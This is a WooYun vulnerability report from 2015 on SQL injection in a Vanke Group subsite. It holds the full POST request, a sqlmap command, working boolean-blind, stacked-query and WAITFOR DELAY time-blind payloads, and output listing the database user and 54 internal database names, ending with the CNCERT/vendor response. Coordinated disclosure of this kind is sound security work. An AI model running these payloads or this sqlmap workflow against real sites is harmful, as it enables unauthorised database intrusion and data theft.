当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0163068

漏洞标题：万科集团某子站存在SQL注入

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-12-24 09:54

修复时间：2016-02-09 23:23

公开时间：2016-02-09 23:23

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-24： 细节已通知厂商并且等待厂商处理中
2015-12-28： 厂商已经确认，细节仅向厂商公开
2016-01-07： 细节向核心白帽子及相关领域专家公开
2016-01-17： 细节向普通白帽子公开
2016-01-27： 细节向实习白帽子公开
2016-02-09： 细节向公众公开

简要描述：

存在OR注入和时间盲注

详细说明：

注入点：

http://**.**.**.**/Result.aspx (POST)
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTY3MjI1NjQ5MWRkgk7YF1jzbmg5vjLCNXjrhddwfZs%3D&__EVENTVALIDATION=/wEWCALK4OSJDgLuoOVpAp6DtjMCweXrmAQCoZ77lgECtMO4uw0CvP7S3gUCgOLJY6R7gDpH96wBj30ioDO%2BPOjKZegI&ctl00$ContentPlaceHolder1$ddlCity=guangzhou&ctl00$ContentPlaceHolder1$txtName=1&ctl00$ContentPlaceHolder1$txtNo=2&ctl00$ContentPlaceHolder1$Button1=%E6%9F%A5%E8%AF%A2


ctl00$ContentPlaceHolder1$txtName存在注入
sqlmap测试参数添加--threads 10 --dbms "mssql" -p ctl00$ContentPlaceHolder1$txtName --level 3 --risk 3 --current-user --current-db --is-dba

1.jpg


2.jpg


测试结果

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: ctl00$ContentPlaceHolder1$txtName
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (Generic comment)
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTY3MjI1NjQ5MWR
kgk7YF1jzbmg5vjLCNXjrhddwfZs=&__EVENTVALIDATION=/wEWCALK4OSJDgLuoOVpAp6DtjMCweXr
mAQCoZ77lgECtMO4uw0CvP7S3gUCgOLJY6R7gDpH96wBj30ioDO+POjKZegI&ctl00$ContentPlaceH
older1$ddlCity=guangzhou&ctl00$ContentPlaceHolder1$txtName=-7505' OR (4074=4074)
-- &ctl00$ContentPlaceHolder1$txtNo=2&ctl00$ContentPlaceHolder1$Button1=%E6%9F%A
5%E8%AF%A2
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTY3MjI1NjQ5MWR
kgk7YF1jzbmg5vjLCNXjrhddwfZs=&__EVENTVALIDATION=/wEWCALK4OSJDgLuoOVpAp6DtjMCweXr
mAQCoZ77lgECtMO4uw0CvP7S3gUCgOLJY6R7gDpH96wBj30ioDO+POjKZegI&ctl00$ContentPlaceH
older1$ddlCity=guangzhou&ctl00$ContentPlaceHolder1$txtName=1'; WAITFOR DELAY '0:
0:5'--&ctl00$ContentPlaceHolder1$txtNo=2&ctl00$ContentPlaceHolder1$Button1=%E6%9
F%A5%E8%AF%A2
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTY3MjI1NjQ5MWR
kgk7YF1jzbmg5vjLCNXjrhddwfZs=&__EVENTVALIDATION=/wEWCALK4OSJDgLuoOVpAp6DtjMCweXr
mAQCoZ77lgECtMO4uw0CvP7S3gUCgOLJY6R7gDpH96wBj30ioDO+POjKZegI&ctl00$ContentPlaceH
older1$ddlCity=guangzhou&ctl00$ContentPlaceHolder1$txtName=1' WAITFOR DELAY '0:0
:5'--&ctl00$ContentPlaceHolder1$txtNo=2&ctl00$ContentPlaceHolder1$Button1=%E6%9F
%A5%E8%AF%A2
---
[20:30:25] [INFO] testing Microsoft SQL Server
[20:30:25] [INFO] confirming Microsoft SQL Server
[20:30:25] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:30:25] [INFO] fetching current user
[20:30:25] [INFO] retrieving the length of query output
[20:30:25] [INFO] resumed: 9
[20:30:25] [INFO] resumed: runforfun
current user:    'runforfun'
[20:30:25] [INFO] fetching current database
[20:30:25] [INFO] retrieving the length of query output
[20:30:25] [INFO] resumed: 9
[20:30:25] [INFO] resumed: runforFun
current database:    'runforFun'
[20:30:25] [INFO] testing if current user is DBA
[20:30:25] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
current user is DBA:    False
因OR注入不好，最后还是弃用，采用延时注入
sqlmap identified the following injection points with a total of 36 HTTP(s) requ
ests:
---
Place: POST
Parameter: ctl00$ContentPlaceHolder1$txtName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTY3MjI1NjQ5MWR
kgk7YF1jzbmg5vjLCNXjrhddwfZs=&__EVENTVALIDATION=/wEWCALK4OSJDgLuoOVpAp6DtjMCweXr
mAQCoZ77lgECtMO4uw0CvP7S3gUCgOLJY6R7gDpH96wBj30ioDO+POjKZegI&ctl00$ContentPlaceH
older1$ddlCity=guangzhou&ctl00$ContentPlaceHolder1$txtName=1'; WAITFOR DELAY '0:
0:5'--&ctl00$ContentPlaceHolder1$txtNo=2&ctl00$ContentPlaceHolder1$Button1=%E6%9
F%A5%E8%AF%A2
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTY3MjI1NjQ5MWR
kgk7YF1jzbmg5vjLCNXjrhddwfZs=&__EVENTVALIDATION=/wEWCALK4OSJDgLuoOVpAp6DtjMCweXr
mAQCoZ77lgECtMO4uw0CvP7S3gUCgOLJY6R7gDpH96wBj30ioDO+POjKZegI&ctl00$ContentPlaceH
older1$ddlCity=guangzhou&ctl00$ContentPlaceHolder1$txtName=1' WAITFOR DELAY '0:0
:5'--&ctl00$ContentPlaceHolder1$txtNo=2&ctl00$ContentPlaceHolder1$Button1=%E6%9F
%A5%E8%AF%A2
---
[23:11:17] [INFO] testing Microsoft SQL Server
[23:11:17] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[23:11:24] [INFO] confirming Microsoft SQL Server
[23:11:34] [INFO] adjusting time delay to 2 seconds due to good response times
[23:11:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[23:11:37] [INFO] fetching current user
[23:11:37] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[23:11:37] [INFO] retrieved: runforfun
current user:    'runforfun'
[23:13:06] [INFO] fetching current database
[23:13:06] [INFO] retrieved: runforFun
current database:    'runforFun'
[23:14:33] [INFO] testing if current user is DBA
current user is DBA:    False
database management system users [2]:
[*] runforfun
[*] sa
available databases [54]:
[*] [TJNursery ]
[*] BBS
[*] bj_vanke_club
[*] bjmall
[*] BJVKH2007
[*] Bjweb01
[*] BjYsweeAsset
[*] CqYsweeAsset
[*] db_lepao
[*] db_vanke30
[*] db_vanke_cn_new
[*] db_vanke_en_new
[*] db_vanke_museum
[*] db_vanke_purchase
[*] db_vanke_Son
[*] db_vanke_vtalk
[*] db_vanke_yabuli
[*] db_vankewx
[*] Ddh
[*] dsmdb
[*] ex2003bbs
[*] ex2003file
[*] ex2003flow
[*] ex2003flowtoterm
[*] ex2003info
[*] ex2003mainframe
[*] ex2003office
[*] ex2003publicinfo
[*] FileTransfer
[*] FileTransfer2
[*] FZVKAssets
[*] iccx_wkdc
[*] master
[*] materials
[*] model
[*] msdb
[*] MTMS
[*] Nursery
[*] runforFun
[*] shgcwx
[*] shhrwx
[*] shvkdyh
[*] SHXZdb
[*] SHXZdb2
[*] shzbwx
[*] Sunan_Service
[*] tempdb
[*] vanfon
[*] WeiJiChaXun
[*] wuhan_miaopu
[*] XAcallcenter
[*] XaDataCenter
[*] xavkaj
[*] YsweeAsset
Database: runforFun
+--------------+---------+
| Table        | Entries |
+--------------+---------+
| dbo.Employee | 11      |
+--------------+---------+


具体数据就不继续了，延时太慢了，可以参看
http://**.**.**.**/bugs/wooyun-2015-0151828
这里了！~~~

漏洞证明：

详细说明

修复方案：

过滤修复

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-12-28 17:49

厂商回复：

CNVD未直接复现所述情况，已经由CNVD通过网站公开联系方式向网站管理单位通报。

最新状态：

暂无

漏洞评价：

评价